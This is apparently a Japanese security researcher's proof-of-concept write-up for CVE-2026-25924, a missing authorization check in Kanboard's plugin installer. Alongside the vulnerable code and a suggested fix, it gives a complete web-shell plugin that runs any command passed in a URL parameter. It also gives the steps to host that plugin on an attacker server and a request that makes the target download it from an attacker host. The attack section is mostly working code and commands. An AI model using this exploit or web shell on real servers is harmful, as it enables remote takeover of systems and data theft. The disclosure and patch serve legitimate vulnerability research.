
CVE-2026-25924の概念実証エクスプロイト。Kanboardにおけるプラグインインストール時のアクセス制御チェック欠如を利用し、管理者権限でのリモートコード実行を実証します。
セキュリティコントロールバイパスによる管理者RCEの概念実証
開示: GHSA-grch-p7vf-vc4f を通じて私が最初に報告しました
⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-25924 |
| 深刻度 | 🔴 高 |
| CVSSスコア | 8.4 |
| CVSSベクター | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: 不適切な認可 |
| 影響を受ける製品 | Kanboard ≤ 1.2.49 |
| パッチ適用バージョン | 1.2.50 |
| アドバイザリ | GHSA-grch-p7vf-vc4f |
Kanboard v1.2.49 のセキュリティコントロールバイパス脆弱性により、認証された管理者が完全な**リモートコード実行(RCE)**を達成できます。アプリケーションは PLUGIN_INSTALLER 設定が false に設定されている場合にプラグインインストールインターフェースを正しく非表示にしますが、基盤となるバックエンドエンドポイントはこのセキュリティ設定の検証に失敗します。攻撃者はこの見落としを悪用して、サーバーに悪意のあるプラグインのダウンロードとインストールを強制し、任意のコード実行につなげることができます。


Kanboardはセキュリティ定数 PLUGIN_INSTALLER を使用して、リモートURLからのプラグインインストール機能を制限しています。これは app/constants.php で定義されています:
ファイル: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
アプリケーションは PluginController の show() や directory() などのUIレンダリングメソッドで Installer::isConfigured() を使用してこの設定を正しくチェックしています:
ファイル: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
しかし、同じコントローラの install() メソッドはこのチェックを実行できていません。CSRFトークンの検証のみを行い、archive_url パラメータで提供された任意のURLからプラグインのダウンロードとインストールを続行します。
app/Controller/PluginController.php の脆弱なコード:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Installer::install() も PLUGIN_INSTALLER 定数をチェックしないため、管理者は有効なCSRFトークンを使用してエンドポイントに直接アクセスするだけで、意図された制限をバイパスできます。インストールされると、悪意のあるプラグインは Kanboard\Core\Plugin\Loader によって自動的にロードおよび実行され、攻撃者に完全なRCEを付与します。
Exploit という名前のディレクトリに Plugin.php ファイルを作成します:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
フォルダを圧縮し、攻撃者が管理するサーバーでホストします:
zip -r exploit.zip Exploit/
python3 -m http.server 80

管理者としてKanboardにログインします。ページソースから csrf_token を取得し、以下に移動します:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

cmd パラメータを使用して任意のシステムコマンドを実行します:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


この脆弱性により、管理者はホストによって課されたセキュリティ制限をバイパスできます。RCEを達成することで、攻撃者は以下を行うことができます:
/etc/passwd、config.php)。app/Controller/PluginController.php の install() および update() メソッドの先頭に Installer::isConfigured() のチェックを追加します:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}